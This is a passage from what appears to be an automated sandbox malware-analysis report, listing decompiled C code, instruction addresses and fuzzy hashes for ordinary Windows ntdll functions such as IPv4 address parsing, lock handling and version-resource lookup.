											while( *_t237 == _t191) {
												_t227 = _t227 + 0xffff;
												_t237 =  &(_t237[_t221]);
												if(_t227 != 0) {
													continue;
												} else {
													goto L29;
												}
												goto L110;
											}
											goto L30;
										}
									} else {
										if(_t227 == 0) {
											L29:
											_pop(_t228);
											return E6D28B640(0xc0000225, _t198, _v8 ^ _t242, _t221, _t228, _t237);
										} else {
											while( *_t237 != _t191) {
												_t221 = _v100;
												_t227 = _t227 + 0xffff;
												_t237 =  &(_t237[_v100]);
												if(_t227 != 0) {
													continue;
												} else {
													goto L29;
												}
												goto L110;
											}
											L30:
											if(_t227 == 0) {
												goto L29;
											} else {
												_t229 = _t227 * 2 - 2;
												if(_t212 == 0) {
													_t171 = _v112 - _t229 & 0x0000ffff;
												} else {
													_t171 = _t229 & 0x0000ffff;
												}
												 *_t198 = _t171;
												_t154 = 0;
												L34:
												_pop(_t226);
												L35:
												return E6D28B640(_t154, _t198, _v8 ^ _t242, _t221, _t226, _t237);
											}
										}
									}
								}
							}
						}
					}
				}
				L110:
			}

0x6d26369f
0x6d2636a2
0x6d2636a6
0x6d2636a9
0x6d2636ad
0x6d2636b2
0x6d2636b6
0x6d2636b6
0x6d2636b9
0x6d2636c2
0x6d2addac
0x00000000
0x6d2636d0
0x6d2636d0
0x6d2636d2
0x6d2636d9
0x6d2636dc
0x6d2636df
0x6d2636e6
0x6d2adae8
0x6d2adae8
0x6d2adaed
0x6d2636ec
0x6d2636ec
0x6d2636ec
0x6d2636f2
0x00000000
0x6d2636f8
0x6d2636f8
0x6d2636fe
0x00000000
0x6d26370e
0x6d263712
0x6d2adadd
0x00000000
0x00000000
0x00000000
0x00000000
0x6d263718
0x6d263718
0x6d263718
0x6d263718
0x6d263712
0x6d2636fe
0x6d2636f2
0x6d2636e6
0x6d26371c
0x6d26383d
0x6d26383d
0x00000000
0x6d263722
0x6d263722
0x6d263724
0x6d263729
0x6d263730
0x6d2adb03
0x6d2adb03
0x6d2adb08
0x6d263736
0x6d263736
0x6d26373c
0x00000000
0x6d263742
0x6d263742
0x6d263748
0x00000000
0x6d263758
0x6d26375c
0x6d2adaf8
0x00000000
0x00000000
0x00000000
0x00000000
0x6d263762
0x6d263762
0x6d263762
0x6d263762
0x6d26375c
0x6d263748
0x6d26373c
0x6d263730
0x6d263766
0x00000000
0x6d26376c
0x6d26376c
0x6d26376f
0x6d26376f
0x6d263772
0x6d263778
0x6d263781
0x6d263789
0x6d26378c
0x6d26378f
0x6d263792
0x6d263795
0x6d263798
0x6d26379b
0x6d2adb10
0x6d2637a1
0x6d2637a4
0x6d2637ae
0x6d2637b1
0x6d2637b4
0x6d2637b4
0x6d2637ba
0x6d2adb20
0x6d2adbe6
0x6d2adbef
0x6d2adbf2
0x6d2adbf6
0x6d2adbfe
0x6d2adc00
0x6d2adc02
0x6d2adc05
0x6d2adc08
0x6d2adc0e
0x6d2adc54
0x6d2adc56
0x6d2adc59
0x6d2adc5c
0x6d2adc5f
0x6d2adc72
0x6d2adc76
0x00000000
0x00000000
0x00000000
0x6d2adc76
0x6d2adc78
0x6d2adc7b
0x6d2adc7e
0x6d2adc81
0x6d2adc84
0x6d2adc87
0x6d2adc87
0x6d2adc8d
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2adc10
0x6d2adc13
0x6d2adc15
0x6d2adc18
0x6d2adc1a
0x6d2adc1c
0x6d2adc2f
0x6d2adc33
0x00000000
0x00000000
0x00000000
0x6d2adc33
0x6d2adc35
0x6d2adc38
0x6d2adc3b
0x6d2adc3e
0x6d2adc41
0x6d2adc44
0x6d2adc44
0x6d2adc4a
0x00000000
0x6d2adc4c
0x00000000
0x6d2adc4c
0x6d2adc4a
0x00000000
0x6d2adc93
0x6d2adc96
0x6d2adc9c
0x6d2adc9f
0x6d2adca2
0x6d2adca5
0x6d2adcae
0x6d2adb26
0x6d2adb2b
0x6d2adb30
0x6d2adb35
0x6d2adb38
0x6d2adb3a
0x6d2adb44
0x6d2adb47
0x6d2adb4a
0x6d2adb4a
0x6d2adb4f
0x6d2adb52
0x6d2adb55
0x6d2adb58
0x6d2adb58
0x6d2adb5e
0x6d2adb67
0x6d2adb6a
0x6d2adb6e
0x6d2adb73
0x6d2adb76
0x6d2adb7b
0x6d2adb83
0x6d2adbb0
0x6d2adbb2
0x6d2adbb5
0x6d2adbbf
0x6d2adbc3
0x00000000
0x00000000
0x00000000
0x6d2adbc3
0x6d2adbc5
0x6d2adbc5
0x6d2adbcb
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2adb85
0x6d2adb88
0x6d2adb8a
0x6d2adb8d
0x6d2adb97
0x6d2adb9b
0x00000000
0x00000000
0x00000000
0x6d2adb9b
0x6d2adb9d
0x6d2adb9d
0x6d2adba3
0x00000000
0x6d2adba5
0x6d2adba5
0x6d2adba5
0x00000000
0x6d2adba5
0x6d2adba3
0x00000000
0x6d2adbcd
0x6d2adbd0
0x6d2adbd6
0x6d2adbd9
0x6d2adbde
0x6d2adb5e
0x00000000
0x6d2637c0
0x6d2637c4
0x6d2adcde
0x6d2adce4
0x6d2adce7
0x6d2adcea
0x6d2adcea
0x6d2adced
0x6d2adcf6
0x6d2add3e
0x6d2add49
0x6d2add4b
0x6d2add4e
0x6d2add51
0x6d2add54
0x6d2add57
0x6d2add60
0x6d2add64
0x00000000
0x00000000
0x00000000
0x6d2add64
0x6d2add66
0x6d2add69
0x6d2add6c
0x6d2add6f
0x6d2add72
0x6d2add75
0x6d2add75
0x6d2add7c
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2adcf8
0x6d2adcf8
0x6d2add03
0x6d2add05
0x6d2add08
0x6d2add0b
0x6d2add0e
0x6d2add11
0x6d2add1a
0x6d2add1e
0x00000000
0x00000000
0x00000000
0x6d2add1e
0x6d2add20
0x6d2add23
0x6d2add26
0x6d2add29
0x6d2add2c
0x6d2add2f
0x6d2add2f
0x6d2add36
0x00000000
0x6d2add3c
0x00000000
0x6d2add3c
0x6d2add36
0x00000000
0x6d2add82
0x6d2add82
0x6d2add85
0x6d2add8b
0x6d2add8e
0x6d2add91
0x6d2add9a
0x00000000
0x6d2637ca
0x6d2637cd
0x6d2637d3
0x6d2adcb6
0x00000000
0x6d2adcbc
0x6d2adcbc
0x6d2adcbf
0x6d2adcc8
0x6d2adcce
0x6d2adcd4
0x00000000
0x6d2adcd6
0x00000000
0x6d2adcd6
0x00000000
0x6d2adcd4
0x00000000
0x6d2adcbf
0x6d2637d9
0x6d2637dc
0x6d2637f6
0x6d2637f6
0x6d26380b
0x6d2637e0
0x6d2637e0
0x6d2637e5
0x6d2637e8
0x6d2637ee
0x6d2637f4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2637f4
0x6d26380e
0x6d263811
0x00000000
0x6d263813
0x6d263813
0x6d26381c
0x6d2adda4
0x6d263822
0x6d263822
0x6d263822
0x6d263825
0x6d263828
0x6d26382a
0x6d26382a
0x6d26382b
0x6d26383a
0x6d26383a
0x6d263811
0x6d2637dc
0x6d2637d3
0x6d2637c4
0x6d2637ba
0x6d263766
0x6d26371c
0x00000000

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb3858e5651da11a427e714421c36a60f249aaf419afeb62450dca090cf42b4b
Instruction ID: c0110602eb28e9dd35d2574dce25f0a54fbbe5a332561b9eb52bfa4b01ee79ef
Opcode Fuzzy Hash: bb3858e5651da11a427e714421c36a60f249aaf419afeb62450dca090cf42b4b
Instruction Fuzzy Hash: 71D18475D8476E8BDB11CF94C0806FEB7B2FF84711F99841ADC91AB244E731A986CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D241190, Relevance: 7.7, APIs: 5, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6D241190(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, short* _a16) {
				signed int _v8;
				long _v12;
				void* _t21;
				signed int _t24;
				long _t27;
				long _t28;
				signed int _t30;
				signed int _t37;
				int _t41;
				signed int _t51;
				signed int _t54;
				long _t59;
				void* _t60;
				signed short* _t74;
				signed int _t75;
				signed short* _t78;
				signed short* _t79;
				signed int _t82;
				long _t83;

				if(_a4 == 0 || _a12 == 0 || _a16 == 0 || E6D2411E0(_a4, _a8,  &_v8, _a12) < 0) {
					L4:
					_t21 = 0xc000000d;
					goto L5;
				} else {
					_t78 = _v8;
					_t24 =  *_t78 & 0x0000ffff;
					if(_t24 != 0x3a) {
						if(_t24 != 0) {
							goto L4;
						}
						_t54 = 0;
						L29:
						 *_a16 = _t54;
						_t21 = 0;
						L5:
						return _t21;
					}
					_t79 =  &(_t78[1]);
					_t54 = 0;
					_t75 = 0xa;
					_v8 = _t75;
					_t82 = 0x10;
					if( *_t79 == 0x30) {
						_t74 =  &(_t79[1]);
						_t79 = _t74;
						_t75 = 8;
						_v8 = _t75;
						_t51 =  *_t79 & 0x0000ffff;
						if(_t51 == 0x78 || _t51 == 0x58) {
							_t75 = _t82;
							_t79 =  &(_t74[1]);
							_v8 = _t75;
						}
					}
					_t27 =  *_t79 & 0x0000ffff;
					_t83 = _t27;
					_t59 = _t27;
					_v12 = _t59;
					if(_t83 == 0) {
						L25:
						if(_t59 != 0) {
							goto L29;
						}
						goto L4;
					} else {
						do {
							_t28 = 0x80;
							_t79 =  &(_t79[1]);
							if(_t83 >= 0x80) {
								L18:
								_t60 = 0x10;
								if(_t75 != _t60 || _t83 >= _t28 || iswctype(_t83, _t28) == 0) {
									goto L4;
								} else {
									_t30 = iswctype(_t83, 2);
									asm("sbb eax, eax");
									if((_t83 & 0x0000ffff) + 0xa + ((_t54 & 0x0000ffff) << 4) - ( ~_t30 & 0x00000020) + 0x41 > 0xffff) {
										goto L4;
									}
									_t37 = iswctype(_t83, 2);
									_t75 = _v8;
									asm("sbb eax, eax");
									_t54 = (_t54 << 4) + 0xa + _t83 - ( ~_t37 & 0x00000020) + 0x41;
									goto L23;
								}
							}
							_t41 = iswctype(_t83, 4);
							_t75 = _v8;
							if(_t41 == 0) {
								L17:
								_t28 = 0x80;
								goto L18;
							}
							_t17 = _t83 - 0x30; // -48
							if(_t17 >= _t75) {
								goto L17;
							}
							if((_t83 & 0x0000ffff) + 0xffffffd0 + (_t75 & 0x0000ffff) * (_t54 & 0x0000ffff) > 0xffff) {
								goto L4;
							}
							_t54 = _t75 * _t54 + 0xffffffd0 + _t83 & 0x0000ffff;
							L23:
							_t83 =  *_t79 & 0x0000ffff;
						} while (_t83 != 0);
						_t59 = _v12;
						goto L25;
					}
				}
			}

0x6d24119e
0x6d2411c6
0x6d2411c6
0x00000000
0x6d29eb05
0x6d29eb05
0x6d29eb08
0x6d29eb0e
0x6d29ec43
0x00000000
0x00000000
0x6d29ec49
0x6d29ec4b
0x6d29ec52
0x6d29ec55
0x6d2411cb
0x6d2411d1
0x6d2411d1
0x6d29eb16
0x6d29eb19
0x6d29eb1b
0x6d29eb1e
0x6d29eb25
0x6d29eb26
0x6d29eb28
0x6d29eb2b
0x6d29eb2f
0x6d29eb30
0x6d29eb33
0x6d29eb39
0x6d29eb40
0x6d29eb42
0x6d29eb45
0x6d29eb45
0x6d29eb39
0x6d29eb48
0x6d29eb4b
0x6d29eb4d
0x6d29eb4f
0x6d29eb55
0x6d29ec36
0x6d29ec39
0x00000000
0x00000000
0x00000000
0x6d29eb5b
0x6d29eb5b
0x6d29eb5b
0x6d29eb60
0x6d29eb66
0x6d29ebb1
0x6d29ebb3
0x6d29ebb7
0x00000000
0x6d29ebd7
0x6d29ebda
0x6d29ebe2
0x6d29ec00
0x00000000
0x00000000
0x6d29ec0c
0x6d29ec11
0x6d29ec17
0x6d29ec25
0x00000000
0x6d29ec25
0x6d29ebb7
0x6d29eb6b
0x6d29eb70
0x6d29eb77
0x6d29ebac
0x6d29ebac
0x00000000
0x6d29ebac
0x6d29eb79
0x6d29eb7f
0x00000000
0x00000000
0x6d29eb97
0x00000000
0x00000000
0x6d29eba7
0x6d29ec27
0x6d29ec27
0x6d29ec2a
0x6d29ec33
0x00000000
0x6d29ec33
0x6d29eb55

APIs

RtlIpv4StringToAddressW.1105(00000000,?,?,00000000), ref: 6D2411B9

Part of subcall function 6D2411E0: iswctype.1105(0000000A,00000004), ref: 6D241244

iswctype.1105(00000000,00000004,00000000,?,?,00000000), ref: 6D29EB6B

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$AddressIpv4String
String ID:
API String ID: 1627499474-0
Opcode ID: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction ID: 63bc71fa0e7c31ce9ea4e0803fb1b88d3679670654499a68f094b9e1a2a2d8e2
Opcode Fuzzy Hash: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction Fuzzy Hash: 0441687268111F9AE729CA55DC81BBA73F4FF40765F20812AE844DB2C0F738DA91D360

Uniqueness

Uniqueness Score: -1.00%

Function 6D26C4A0, Relevance: 7.6, APIs: 5, Instructions: 91
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6D26C4A0(intOrPtr* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v9;
				intOrPtr _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int _t34;
				signed int _t41;
				signed char _t46;
				intOrPtr* _t51;
				signed int _t52;

				_v8 =  *0x6d33d360 ^ _t52;
				_t41 = _a8;
				_t51 = _a4;
				_t49 = 0;
				if(E6D26C577(_t51, 0 | _t41 != 0x00000000) == 0) {
					_t29 = 0;
				} else {
					_t50 = _t51 + 0x90;
					_t41 = _t41 & 0xffffff00 | _t41 != 0x00000000;
					_v16 =  *((intOrPtr*)(_t51 + 0x5c)) + 0x40;
					E6D262280( *((intOrPtr*)(_t51 + 0x5c)) + 0x40, _t51 + 0x90);
					_t49 = _v16;
					_t34 = E6D26C182(_t51, _v16, _t41);
					_t46 = _t34;
					_v9 = _t46;
					if(_a8 != 0 &&  *((char*)(_t51 + 0xdf)) != 0) {
						_t34 = E6D25FFB0(_t41, _t50, _t50);
						_t46 = _v9;
						_t41 = 0;
					}
					if(_t46 == 0) {
						if(_t41 == 0) {
							goto L8;
						} else {
							_t34 = E6D26E180(_t51);
							if(_t34 != 0) {
								goto L6;
							} else {
								asm("lock inc dword [esi]");
								_t46 = _v9;
								goto L4;
							}
						}
						goto L19;
					} else {
						L4:
						if(_t41 == 0) {
							if(_t46 == 0) {
								goto L8;
							} else {
								asm("lock xadd [esi], eax");
								if((_t34 | 0xffffffff) != 0) {
									goto L8;
								} else {
									_t51 =  *((intOrPtr*)( *((intOrPtr*)(_t51 + 4))));
									 *0x6d33b1e0(_t51);
									 *_t51();
									goto L7;
								}
							}
							L19:
						} else {
							_t49 = _v16;
							E6D26DBE9(_t51, _v16, _a8, _a12, _a16);
							L6:
							E6D25FFB0(_t41, _t50, _t50);
							L7:
							_t46 = _v9;
						}
					}
					L8:
					_t29 = _t46 & 0x000000ff;
				}
				return E6D28B640(_t29, _t41, _v8 ^ _t52, _t49, _t50, _t51);
				goto L19;
			}

0x6d26c4af
0x6d26c4b3
0x6d26c4b9
0x6d26c4c5
0x6d26c4ce
0x6d26c561
0x6d26c4d4
0x6d26c4d7
0x6d26c4e0
0x6d26c4e6
0x6d26c4e9
0x6d26c4ee
0x6d26c4f4
0x6d26c4fd
0x6d26c4ff
0x6d26c502
0x6d2b2e52
0x6d2b2e57
0x6d2b2e5a
0x6d2b2e5a
0x6d26c513
0x6d26c54d
0x00000000
0x6d26c54f
0x6d26c550
0x6d26c557
0x00000000
0x6d26c559
0x6d26c559
0x6d26c55c
0x00000000
0x6d26c55c
0x6d26c557
0x00000000
0x6d26c515
0x6d26c515
0x6d26c517
0x6d26c567
0x00000000
0x6d26c569
0x6d26c56c
0x6d26c570
0x00000000
0x6d26c572
0x6d2b2e65
0x6d2b2e69
0x6d2b2e6f
0x00000000
0x6d2b2e6f
0x6d26c570
0x00000000
0x6d26c519
0x6d26c51c
0x6d26c527
0x6d26c52c
0x6d26c52d
0x6d26c532
0x6d26c532
0x6d26c532
0x6d26c517
0x6d26c535
0x6d26c535
0x6d26c535
0x6d26c548
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,?,?,?,6D30C9F8,000000FE), ref: 6D26C4E9
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?), ref: 6D26C52D
TpIsTimerSet.1105(?,?,?,00000000,?,00000000,?), ref: 6D26C550
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?), ref: 6D2B2E52
RtlDebugPrintTimes.1105(?,?,?,?,00000000,?,00000000,?), ref: 6D2B2E69

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimerTimes
String ID:
API String ID: 1747049749-0
Opcode ID: 7a18d9b723a57f91333c69e225255783c3813bdce0800f8aa8ba080b8e533d66
Instruction ID: b63a4bc02711b1031c1f7c4d99af7cd646081466383999594908258a9ca27785
Opcode Fuzzy Hash: 7a18d9b723a57f91333c69e225255783c3813bdce0800f8aa8ba080b8e533d66
Instruction Fuzzy Hash: D82136306C438EABCF01AF348C50ABF7BB4AF46B59F018469EC516B241EB319944A7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D250541, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6D250541(char __ecx, intOrPtr* __edx) {
				char _v8;
				char _v12;
				long _v16;
				short _v18;
				void* _v20;
				void* _v28;
				long _t51;
				void* _t55;
				short _t59;
				intOrPtr _t63;
				intOrPtr* _t64;
				intOrPtr _t66;
				signed int _t84;
				intOrPtr* _t92;
				signed int _t94;
				long _t101;
				char _t102;
				signed int _t105;
				signed int _t108;

				_t64 = __edx;
				_t102 = __ecx;
				_v12 = __ecx;
				_v20 = __ecx;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t51 = E6D25E9C0(3, __ecx, 0, 0,  &_v8);
				if(_t51 >= 0) {
					_t66 = _v8;
					 *_t64 =  *((intOrPtr*)(_t66 + 8));
					 *((intOrPtr*)(_t64 + 4)) =  *((intOrPtr*)(_t66 + 0x58));
					_t51 =  *(_t66 + 0x50);
					_v16 = _t51;
					if( *((intOrPtr*)(_t66 + 0x74)) > 2) {
						_t51 =  *(_t66 + 0x88);
						if(_t51 != 0 &&  *((intOrPtr*)(_t66 + 0x8c)) >= 0x10) {
							_t84 = _t51 + _t102;
							_t51 = E6D250733( &_v20, _t84, 0x10);
							asm("sbb esi, esi");
							_t105 =  ~_t51 & _t84;
							if(_t105 != 0) {
								_t51 = E6D25050C(_t105,  *(_t105 + 0xc) & 0x0000ffff);
								if(_t51 != 0) {
									_t51 = E6D250769( &_v20, _t51,  *(_t105 + 0xe) & 0x0000ffff, 0x10);
									if(_t51 != 0) {
										_t100 = ( *(_t51 + 4) & 0x7fffffff) + _t105;
										_t87 = ( *(_t51 + 4) & 0x7fffffff) + _t105;
										_t51 = E6D250733( &_v20, _t100, 0x10);
										if(_t51 != 0) {
											_t51 = E6D25050C(_t87,  *(_t100 + 0xc) & 0x0000ffff);
											if(_t51 != 0) {
												_t51 = E6D250769( &_v20, _t51,  *(_t100 + 0xe) & 0x0000ffff, 1);
												if(_t51 != 0) {
													_t91 = ( *(_t51 + 4) & 0x7fffffff) + _t105;
													_t51 = E6D250733( &_v20, ( *(_t51 + 4) & 0x7fffffff) + _t105, 0x10);
													if(_t51 != 0) {
														_t51 = E6D25050C(_t91, 0);
														if(_t51 != 0) {
															_t51 =  *(_t51 + 4);
															if(_t51 >= 0) {
																_t92 = _t51 + _t105;
																_t51 = E6D250733( &_v20, _t92, 0x10);
																if(_t51 != 0 &&  *((intOrPtr*)(_t92 + 4)) >= 0x5c) {
																	_t94 =  *_t92 + _v12;
																	_t51 = E6D250733( &_v20, _t94, 0x5c);
																	asm("sbb esi, esi");
																	_t108 =  ~_t51 & _t94;
																	if(_t108 != 0) {
																		_t51 = E6D250733( &_v20, _t108, 0x5c);
																		if(_t51 != 0) {
																			_t55 = 0x20;
																			_t35 = _t108 + 6; // 0x6
																			_t101 = _t35;
																			_t51 = E6D250733( &_v20, _t101, _t55);
																			if(_t51 != 0) {
																				RtlInitUnicodeString( &_v28, L"VS_VERSION_INFO");
																				_v16 = _t101;
																				_t51 = E6D2507AF(_t101,  &_v12);
																				if(_t51 >= 0) {
																					_v20 = _v12;
																					_t59 = 0x20;
																					_v18 = _t59;
																					_t51 = RtlCompareUnicodeString( &_v28,  &_v20, 0);
																					if(_t51 == 0) {
																						 *((intOrPtr*)(_t64 + 8)) =  *((intOrPtr*)(_t108 + 0x30));
																						_t63 =  *((intOrPtr*)(_t108 + 0x34));
																						 *((intOrPtr*)(_t64 + 0xc)) = _t63;
																						return _t63;
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return _t51;
			}

0x6d25054c
0x6d250552
0x6d250554
0x6d250557
0x6d25055a
0x6d25055b
0x6d25055c
0x6d25055d
0x6d250569
0x6d250570
0x6d250576
0x6d25057c
0x6d250581
0x6d250588
0x6d25058b
0x6d25058e
0x6d250594
0x6d25059c
0x6d2505af
0x6d2505b7
0x6d2505c0
0x6d2505c2
0x6d2505c4
0x6d2505d4
0x6d2505db
0x6d2505ed
0x6d2505f4
0x6d250606
0x6d25060a
0x6d25060c
0x6d250613
0x6d250621
0x6d250628
0x6d25063a
0x6d250641
0x6d250653
0x6d250657
0x6d25065e
0x6d250669
0x6d250670
0x6d250676
0x6d25067b
0x6d250681
0x6d250689
0x6d250690
0x6d2506a5
0x6d2506aa
0x6d2506b3
0x6d2506b5
0x6d2506b7
0x6d2506c0
0x6d2506c7
0x6d2506cb
0x6d2506cc
0x6d2506cc
0x6d2506d5
0x6d2506dc
0x6d2506e7
0x6d2506ef
0x6d2506f5
0x6d2506fc
0x6d250704
0x6d250708
0x6d250709
0x6d250717
0x6d25071e
0x6d250723
0x6d250726
0x6d250729
0x00000000
0x6d250729
0x6d25071e
0x6d2506fc
0x6d2506dc
0x6d2506c7
0x6d2506b7
0x6d250690
0x6d25067b
0x6d250670
0x6d25065e
0x6d250641
0x6d250628
0x6d250613
0x6d2505f4
0x6d2505db
0x6d2505c4
0x6d25059c
0x6d25058e
0x6d250732

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,000000AB,?,?,?,?,6D2504FB,6D31F890,0000001C,6D2503A8,?,00000000), ref: 6D250569
RtlInitUnicodeString.1105(?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010,?,00000010,?,00000010), ref: 6D2506E7
RtlCompareUnicodeString.1105(?,6D31F890,00000000,6D2503A8,?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010), ref: 6D250717

Part of subcall function 6D259660: RtlCompareUnicodeStrings.1105(?,?,?,?,6D337B60,?,6D2868BE,?,00000024,00000001,?,6D2705B9,?,?,6D337B60), ref: 6D259680

Strings

VS_VERSION_INFO, xrefs: 6D2506DE

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$CompareString$HeaderImageInitStrings
String ID: VS_VERSION_INFO
API String ID: 1271209012-1537192461
Opcode ID: a8c60a231cc7b7e934c05d6426ccda0c1fe5db2236c1568c06132d7aff259fef
Instruction ID: 088c6530842f55ef3e890570a14ffbd372a02c9d8a08499b4c18938aa16c9b12
Opcode Fuzzy Hash: a8c60a231cc7b7e934c05d6426ccda0c1fe5db2236c1568c06132d7aff259fef
Instruction Fuzzy Hash: A251B331A8021F9AEB10CBB6CE90FBAB7B8FF58648F1445699965DB1C0EB70D811CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6D2417B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6D2417B0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				short _t23;
				intOrPtr _t24;
				short _t28;
				short _t40;
				void* _t41;
				short* _t43;
				intOrPtr* _t49;
				intOrPtr* _t51;
				intOrPtr _t52;
				void* _t53;

				_t41 = __ecx;
				_push(0x18);
				_push(0x6d31f2c8);
				E6D29D08C(__ebx, __edi, __esi);
				_t49 =  *((intOrPtr*)(_t53 + 8));
				if(_t49 == 0 ||  *_t49 != 0x6d6f7441) {
					_t40 = 0;
					_t23 = 0;
				} else {
					E6D262280(_t49 + 8, _t49 + 8);
					_t23 = 1;
					_t40 = 0;
				}
				if(_t23 == 0) {
					_t24 = 0xc000000d;
					goto L13;
				} else {
					 *((intOrPtr*)(_t53 - 4)) = _t40;
					_t51 =  *((intOrPtr*)(_t53 + 0xc));
					if(E6D281310(_t51, _t53 - 0x1c) != 0) {
						_t28 =  *((intOrPtr*)(_t53 - 0x1c));
						if(_t28 < 0xc000) {
							_t52 = _t40;
						} else {
							_t28 = 0;
							 *((short*)(_t53 - 0x1c)) = 0;
							_t52 = 0xc000000d;
						}
						 *((intOrPtr*)(_t53 - 0x20)) = _t52;
						_t43 =  *((intOrPtr*)(_t53 + 0x10));
						if(_t43 == 0) {
							L12:
							 *((intOrPtr*)(_t53 - 4)) = 0xfffffffe;
							E6D25FFB0(_t40, _t49, _t49 + 8);
							_t24 = _t52;
							L13:
							return E6D29D0D1(_t24);
						}
						L11:
						 *_t43 = _t28;
						goto L12;
					}
					if( *_t51 == _t40) {
						_t52 = 0xc0000033;
						L15:
						 *((intOrPtr*)(_t53 - 0x20)) = _t52;
						goto L12;
					}
					_t52 = E6D24187D(_t49, _t51, _t41, _t40, _t40, _t53 - 0x28, _t53 - 0x1c);
					 *((intOrPtr*)(_t53 - 0x20)) = _t52;
					if(_t52 < 0) {
						goto L12;
					}
					_t34 =  *((intOrPtr*)(_t53 - 0x1c));
					if( *((intOrPtr*)(_t53 - 0x1c)) == 0) {
						_t52 = 0xc0000034;
						goto L15;
					}
					if(E6D241986(_t49,  *(_t34 + 4) & 0x0000ffff) == 0) {
						_t52 = 0xc0000008;
						goto L15;
					}
					_t52 = _t40;
					 *((intOrPtr*)(_t53 - 0x20)) = _t52;
					_t43 =  *((intOrPtr*)(_t53 + 0x10));
					if(_t43 == 0) {
						goto L12;
					}
					_t28 =  *((intOrPtr*)( *((intOrPtr*)(_t53 - 0x1c)) + 6));
					goto L11;
				}
			}

0x6d2417b0
0x6d2417b0
0x6d2417b2
0x6d2417b7
0x6d2417bc
0x6d2417c1
0x6d29ef6c
0x6d29ef6e
0x6d2417d3
0x6d2417d7
0x6d2417dc
0x6d2417de
0x6d2417de
0x6d2417e2
0x6d29ef75
0x00000000
0x6d2417e8
0x6d2417e8
0x6d2417ef
0x6d2417fa
0x6d29ef84
0x6d29ef8b
0x6d29ef9a
0x6d29ef8d
0x6d29ef8d
0x6d29ef8f
0x6d29ef93
0x6d29ef93
0x6d29ef9c
0x6d29ef9f
0x6d29efa4
0x6d241852
0x6d241852
0x6d24185d
0x6d241862
0x6d241864
0x6d241869
0x6d241869
0x6d24184f
0x6d24184f
0x00000000
0x6d24184f
0x6d241803
0x6d29efaf
0x6d241871
0x6d241871
0x00000000
0x6d241871
0x6d24181d
0x6d24181f
0x6d241824
0x00000000
0x00000000
0x6d241826
0x6d24182b
0x6d24186c
0x00000000
0x6d24186c
0x6d24183a
0x6d241876
0x00000000
0x6d241876
0x6d24183c
0x6d24183e
0x6d241841
0x6d241846
0x00000000
0x00000000
0x6d24184b
0x00000000
0x6d24184b

APIs

RtlAcquireSRWLockExclusive.1105(?,6D31F2C8,00000018), ref: 6D2417D7
RtlGetIntegerAtom.1105(?,?,?,6D31F2C8,00000018), ref: 6D2417F3

Part of subcall function 6D24187D: _wcsicmp.1105(0000001C,?,?,?,00000000,?,?,?,?), ref: 6D241921

RtlReleaseSRWLockExclusive.1105(?,?,?,?,6D31F2C8,00000018), ref: 6D24185D

